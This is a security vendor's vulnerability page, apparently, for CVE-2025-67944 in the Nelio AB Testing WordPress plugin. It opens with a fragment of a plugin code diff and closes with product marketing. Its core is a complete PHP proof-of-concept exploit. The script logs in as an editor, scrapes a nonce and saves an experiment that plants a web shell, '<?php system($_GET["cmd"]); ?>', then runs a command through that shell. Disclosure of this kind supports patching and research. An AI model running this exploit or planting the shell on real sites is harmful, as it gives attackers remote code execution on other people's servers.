-		if ( $this->can_skip_script_enqueueing( $experiments, $heatmaps ) ) {
+		$settings = $this->get_script_settings();
+		if ( $this->can_skip_script_enqueueing( $settings['experiments'], $settings['heatmaps'] ) ) {
 			return;
 		}

-		$alt_loader      = Nelio_AB_Testing_Alternative_Loader::instance();
 		$plugin_settings = Nelio_AB_Testing_Settings::instance();
-
-		$runtime  = Nelio_AB_Testing_Runtime::instance();
-		$settings = array(
-			'alternativeUrls'     => $this->get_alternative_urls(),
-			'api'                 => $this->get_api_settings(),
-			'cookieTesting'       => $this->get_cookie_testing(),
-			'excludeBots'         => ! empty( $plugin_settings->get( 'exclude_bots' ) ),
-			'experiments'         => $experiments,
-			'gdprCookie'          => $this->get_gdpr_cookie(),
-			'heatmaps'            => $heatmaps,
-			'hideQueryArgs'       => ! empty( $plugin_settings->get( 'hide_query_args' ) ),
-			'ignoreTrailingSlash' => nab_ignore_trailing_slash_in_alternative_loading(),
-			'isGA4Integrated'     => ! empty( $plugin_settings->get( 'google_analytics_tracking' )['enabled'] ),
-			'isStagingSite'       => ! empty( nab_is_staging() ),
-			'isTestedPostRequest' => $runtime->is_tested_post_request(),
-			'maxCombinations'     => nab_max_combinations(),
-			'nabPosition'         => $plugin_settings->get( 'is_nab_first_arg' ) ? 'first' : 'last',
-			'numOfAlternatives'   => $alt_loader->get_number_o

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67944 - Nelio AB Testing <= 8.1.8 - Authenticated (Editor+) Remote Code Execution

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'editor_user';
$password = 'editor_password';
$php_experiment_id = 123; // ID of existing PHP experiment

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);

$response = curl_exec($ch);

// Step 2: Access PHP experiment edit page (vulnerable endpoint)
$edit_url = $target_url . '/wp-admin/admin.php?page=nelio-ab-testing-experiment-edit&experiment=' . $php_experiment_id;

curl_setopt_array($ch, [
    CURLOPT_URL => $edit_url,
    CURLOPT_POST => false,
    CURLOPT_POSTFIELDS => null,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

// Step 3: Extract nonce from the edit page (required for saving)
preg_match('/"nabNonce":"([a-f0-9]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Step 4: Prepare malicious PHP code payload
$malicious_php = '<?php system($_GET["cmd"]); ?>';

// Step 5: Save experiment with malicious PHP code
$save_url = $target_url . '/wp-admin/admin-ajax.php';

$payload = [
    'action' => 'nab_save_experiment',
    'experiment' => json_encode([
        'id' => $php_experiment_id,
        'type' => 'nab/php',
        'alternatives' => [
            ['id' => 'control', 'attributes' => ['content' => $malicious_php]],
            ['id' => 'alternative', 'attributes' => ['content' => '']]
        ]
    ]),
    'nabNonce' => $nonce
];

curl_setopt_array($ch, [
    CURLOPT_URL => $save_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload)
]);

$response = curl_exec($ch);

// Step 6: Verify code execution by accessing the experiment
$exec_url = $target_url . '/?nab_experiment=' . $php_experiment_id . '&cmd=id';

curl_setopt_array($ch, [
    CURLOPT_URL => $exec_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

// Check for command output
if (strpos($response, 'uid=') !== false) {
    echo "[+] RCE successful! Command output:n";
    echo substr($response, strpos($response, 'uid='), 100) . "n";
} else {
    echo "[-] RCE attempt failedn";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School